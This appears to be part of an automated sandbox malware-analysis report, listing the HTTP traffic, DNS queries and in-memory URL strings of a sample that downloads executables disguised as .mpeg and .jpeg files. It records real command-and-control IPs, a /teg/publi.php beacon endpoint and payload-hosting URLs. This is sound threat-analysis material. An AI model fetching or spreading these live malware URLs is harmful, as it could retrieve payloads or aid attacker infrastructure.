Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: global traffic HTTP traffic detected: PUT /teg/publi.php HTTP/1.0Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */*Content-Type: multipart/form-dataUser-Agent: Mozilla/4.0Host: 94.241.141.101Content-Length: 26
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: unknown TCP traffic detected without corresponding DNS query: 94.241.141.101
Source: global traffic HTTP traffic detected: GET /Aula.mpeg HTTP/1.1User-Agent: EBatt.exeHost: albumdecolegial.s3.eu-north-1.amazonaws.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /Boletim.jpeg HTTP/1.1User-Agent: Shorts.exeHost: albumdecolegial.s3.eu-north-1.amazonaws.comCache-Control: no-cache
Source: global traffic HTTP traffic detected: GET /41907bc4-chronocromdocrom/integra/conf.txt HTTP/1.1User-Agent: ler1231.txtHost: s3.timeweb.com
Source: global traffic HTTP traffic detected: GET /41907bc4-chronocromdocrom/integra/conf.txt HTTP/1.1User-Agent: ler9284.txtHost: s3.timeweb.com
Source: global traffic HTTP traffic detected: GET /41907bc4-chronocromdocrom/integra/conf.txt HTTP/1.1User-Agent: ler8902.txtHost: s3.timeweb.comIf-Modified-Since: Mon, 30 Oct 2023 15:08:01 GMTIf-None-Match: "8cc325c4a72b846a690145124f81749a"
Source: global traffic HTTP traffic detected: GET /41907bc4-chronocromdocrom/integra/conf.txt HTTP/1.1User-Agent: ler4350.txtHost: s3.timeweb.comIf-Modified-Since: Mon, 30 Oct 2023 15:08:01 GMTIf-None-Match: "8cc325c4a72b846a690145124f81749a"
Source: global traffic HTTP traffic detected: GET /41907bc4-chronocromdocrom/integra/conf.txt HTTP/1.1User-Agent: ler6526.txtHost: s3.timeweb.comIf-Modified-Since: Mon, 30 Oct 2023 15:08:01 GMTIf-None-Match: "8cc325c4a72b846a690145124f81749a"
Source: global traffic DNS traffic detected: DNS query: albumdecolegial.s3.eu-north-1.amazonaws.com
Source: global traffic DNS traffic detected: DNS query: s3.timeweb.com
Source: EBatt.exe, 00000003.00000000.2155241370.0000000000902000.00000002.00000001.01000000.00000008.sdmp, EBatt.exe, 00000003.00000002.4519937234.0000000000A9D000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4521755281.00000000026B3000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4521755281.00000000026BA000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 00000003.00000002.4517910353.000000000014A000.00000004.00000010.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4521760958.0000000002703000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4521760958.000000000270A000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4519835894.0000000000A6F000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4517914635.000000000014A000.00000004.00000010.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4520073123.00000000009AF000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4521881770.000000000268A000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4517914242.000000000014A000.00000004.00000010.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4521881770.0000000002683000.00000004.00001000.00020000.00000000.sdmp, Aula[1].mpeg.0.dr, EBatt.exe.0.dr String found in binary or memory: http://185.178.46.42/vo/
Source: EBatt.exe, 00000003.00000002.4521755281.0000000002645000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4521760958.0000000002695000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4521881770.0000000002615000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://185.178.46.42/vo/ram
Source: Shorts.exe, 00000002.00000002.4523541997.0000000000E03000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://94.241.141.101/dm4/
Source: Shorts.exe, 00000008.00000002.4523164841.0000000000E53000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://94.241.141.101/dm4/03
Source: Shorts.exe, 00000006.00000002.4523953410.0000000002783000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://94.241.141.101/dm4/03x
Source: Shorts.exe, 00000002.00000000.2145779350.0000000000839000.00000002.00000001.01000000.00000006.sdmp, Boletim[1].jpg.0.dr, Shorts.exe.0.dr String found in binary or memory: http://94.241.141.101/dm4/Ahttps://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txt
Source: Shorts.exe, 00000008.00000002.4528173387.0000000004879000.00000004.00001000.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4523164841.0000000000D30000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://94.241.141.101/teg/
Source: Shorts.exe, 00000006.00000002.4527890890.0000000004813000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://94.241.141.101/teg/5
Source: Shorts.exe, 00000002.00000002.4528135782.000000000482D000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://94.241.141.101/teg/A
Source: Shorts.exe, 00000006.00000002.4527890890.0000000004813000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://94.241.141.101/teg/JX
Source: Shorts.exe, 00000008.00000002.4528173387.0000000004879000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://94.241.141.101/teg/PD
Source: Shorts.exe, 00000002.00000002.4528135782.000000000482D000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://94.241.141.101/teg/Q
Source: Shorts.exe, 00000002.00000002.4528135782.000000000482D000.00000004.00001000.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4528173387.0000000004879000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://94.241.141.101/teg/a
Source: Shorts.exe, 00000006.00000002.4527890890.0000000004813000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://94.241.141.101/teg/e?
Source: Shorts.exe, 00000002.00000002.4528135782.0000000004820000.00000004.00001000.00020000.00000000.sdmp, Shorts.exe, 00000002.00000002.4523541997.0000000000DF4000.00000004.00001000.00020000.00000000.sdmp, Shorts.exe, 00000006.00000002.4523953410.0000000002774000.00000004.00001000.00020000.00000000.sdmp, Shorts.exe, 00000006.00000002.4523953410.000000000274D000.00000004.00001000.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4523164841.0000000000E1D000.00000004.00001000.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4528173387.000000000482B000.00000004.00001000.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4523164841.0000000000E44000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://94.241.141.101/teg/publi.php
Source: Shorts.exe, 00000002.00000002.4523541997.0000000000DCD000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://94.241.141.101/teg/publi.php(
Source: Shorts.exe, 00000008.00000002.4523164841.0000000000E44000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://94.241.141.101/teg/publi.php1
Source: Shorts.exe, 00000006.00000002.4527890890.0000000004892000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://94.241.141.101/teg/publi.phpPD
Source: Shorts.exe, 00000002.00000002.4528135782.000000000482D000.00000004.00001000.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4528173387.0000000004879000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://94.241.141.101/teg/q
Source: Cortex.exe, 00000000.00000002.4519758033.000000000120B000.00000004.00000020.00020000.00000000.sdmp, Cortex.exe, 00000000.00000003.2129218177.0000000001202000.00000004.00000020.00020000.00000000.sdmp, EBatt.exe, 00000003.00000000.2155241370.0000000000902000.00000002.00000001.01000000.00000008.sdmp, EBatt.exe, 00000003.00000000.2152284497.0000000000401000.00000020.00000001.01000000.00000008.sdmp, EBatt.exe, 00000003.00000002.4521755281.0000000002601000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4521760958.0000000002651000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4521881770.00000000025D1000.00000004.00001000.00020000.00000000.sdmp, Aula[1].mpeg.0.dr, EBatt.exe.0.dr String found in binary or memory: http://www.somewhere.org
Source: EBatt.exe, 00000003.00000002.4521755281.00000000026BA000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 00000007.00000002.4521760958.000000000270A000.00000004.00001000.00020000.00000000.sdmp, EBatt.exe, 0000000B.00000002.4521881770.000000000268A000.00000004.00001000.00020000.00000000.sdmp String found in binary or memory: http://www.somewhere.orgze
Source: Cortex.exe, 00000000.00000002.4519758033.0000000001189000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://albumdecolegial.s3.eu-north-1.amazonaws.com/
Source: Cortex.exe String found in binary or memory: https://albumdecolegial.s3.eu-north-1.amazonaws.com/Aula.mpeg
Source: Cortex.exe, 00000000.00000003.2129120648.0000000001225000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://albumdecolegial.s3.eu-north-1.amazonaws.com/Aula.mpeg0
Source: Cortex.exe, 00000000.00000002.4519758033.0000000001189000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://albumdecolegial.s3.eu-north-1.amazonaws.com/Aula.mpegC
Source: Cortex.exe, 00000000.00000002.4519758033.0000000001189000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://albumdecolegial.s3.eu-north-1.amazonaws.com/Aula.mpegq_
Source: Cortex.exe, 00000000.00000002.4519758033.00000000011BB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://albumdecolegial.s3.eu-north-1.amazonaws.com/Aula.mpegy
Source: Cortex.exe String found in binary or memory: https://albumdecolegial.s3.eu-north-1.amazonaws.com/Boletim.jpeg
Source: Cortex.exe, 00000000.00000002.4519758033.0000000001189000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://albumdecolegial.s3.eu-north-1.amazonaws.com/Boletim.jpeg(HF
Source: Cortex.exe, 00000000.00000002.4527105871.00000000057B0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://albumdecolegial.s3.eu-north-1.amazonaws.com/Boletim.jpegC
Source: Cortex.exe, 00000000.00000002.4519758033.00000000011BB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://albumdecolegial.s3.eu-north-1.amazonaws.com/Boletim.jpegL
Source: Cortex.exe, 00000000.00000002.4519758033.00000000011BB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://albumdecolegial.s3.eu-north-1.amazonaws.com/Boletim.jpegb
Source: Shorts.exe, 00000002.00000002.4520115850.0000000000910000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timew
Source: Shorts.exe, 00000002.00000003.3077592541.00000000009CF000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000006.00000002.4529433047.0000000005390000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4520273135.0000000000A10000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4529914212.0000000005DD0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/
Source: Shorts.exe, 00000008.00000002.4520273135.0000000000A10000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4523164841.0000000000E2F000.00000004.00001000.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4520273135.0000000000969000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4529914212.0000000005DD0000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4520273135.00000000009C3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txt
Source: Shorts.exe, 00000002.00000003.4166184966.0000000005DED000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000002.4530287684.0000000005DF0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txt.
Source: Shorts.exe, 00000006.00000002.4520525858.0000000000A15000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txt/41907bc4-chronocromdocrom/integra/
Source: Shorts.exe, 00000006.00000002.4520525858.0000000000A15000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txt2
Source: Shorts.exe, 00000002.00000002.4530287684.0000000005DFB000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000003.4166184966.0000000005DFB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txt3W
Source: Shorts.exe, 00000002.00000003.4166184966.0000000005DED000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000002.4530287684.0000000005DF0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txt5
Source: Shorts.exe, 00000002.00000002.4530287684.0000000005DFB000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000003.4166184966.0000000005DFB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txt9W
Source: Shorts.exe, 00000002.00000003.4166184966.0000000005DED000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000002.4530287684.0000000005DF0000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000003.3683814910.0000000005DE9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txt9Z
Source: Shorts.exe, 00000002.00000002.4522952082.0000000000A0B000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000003.4166073748.0000000000A07000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000006.00000002.4520525858.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4520273135.0000000000969000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtC:
Source: Shorts.exe, 00000008.00000002.4520273135.00000000009C3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtD
Source: Shorts.exe, 00000008.00000002.4520273135.00000000009C3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtE
Source: Shorts.exe, 00000008.00000002.4529914212.0000000005DF2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtG/
Source: Shorts.exe, 00000002.00000002.4520115850.00000000009D9000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000003.3077506732.00000000009DD000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000003.3683954298.00000000009DE000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000006.00000002.4529433047.0000000005390000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4520273135.0000000000A2E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtLMEM
Source: Shorts.exe, 00000002.00000003.3683814910.0000000005DE9000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000003.4166184966.0000000005DFB000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4529914212.0000000005DD0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtM2Y
Source: Shorts.exe, 00000006.00000002.4529433047.0000000005390000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtNv3
Source: Shorts.exe, 00000006.00000002.4520525858.0000000000A15000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtP
Source: Shorts.exe, 00000002.00000002.4522952082.00000000009FC000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000003.4166073748.00000000009FC000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000008.00000002.4520273135.00000000009C3000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtRRC:
Source: Shorts.exe, 00000006.00000002.4520525858.0000000000A15000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtW
Source: Shorts.exe, 00000006.00000002.4529433047.0000000005390000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtWv8
Source: Shorts.exe, 00000002.00000002.4520115850.000000000095E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtY4
Source: Shorts.exe, 00000002.00000003.4166184966.0000000005DED000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000002.4530287684.0000000005DF0000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000003.3683814910.0000000005DE9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtaY
Source: Shorts.exe, 00000006.00000002.4529433047.0000000005390000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtcy
Source: Shorts.exe, 00000002.00000002.4530287684.0000000005DFB000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000003.4166184966.0000000005DFB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtdW
Source: Shorts.exe, 00000006.00000002.4520525858.0000000000A6C000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txth
Source: Shorts.exe, 00000008.00000002.4529914212.0000000005DF2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txth=
Source: Shorts.exe, 00000002.00000002.4530287684.0000000005DFB000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000003.4166184966.0000000005DFB000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtnV
Source: Shorts.exe, 00000008.00000002.4529914212.0000000005DF2000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtp/
Source: Shorts.exe, 00000006.00000002.4529433047.0000000005390000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txtrt
Source: Shorts.exe, 00000002.00000003.4166184966.0000000005DED000.00000004.00000020.00020000.00000000.sdmp, Shorts.exe, 00000002.00000002.4530287684.0000000005DF0000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/integra/conf.txt~Y1
Source: EBatt.exe, 00000003.00000000.2155241370.0000000000902000.00000002.00000001.01000000.00000008.sdmp, Aula[1].mpeg.0.dr, EBatt.exe.0.dr String found in binary or memory: https://s3.timeweb.com/41907bc4-chronocromdocrom/one/cnf.txt
Source: Shorts.exe, 00000006.00000002.4529433047.0000000005390000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/?Ia
Source: Shorts.exe, 00000006.00000002.4529433047.0000000005390000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/kx
Source: Shorts.exe, 00000008.00000002.4520273135.0000000000A10000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/t
Source: Shorts.exe, 00000006.00000002.4529433047.0000000005390000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://s3.timeweb.com/ws
Source: unknown Network traffic detected: HTTP traffic on port 443 -> 49799
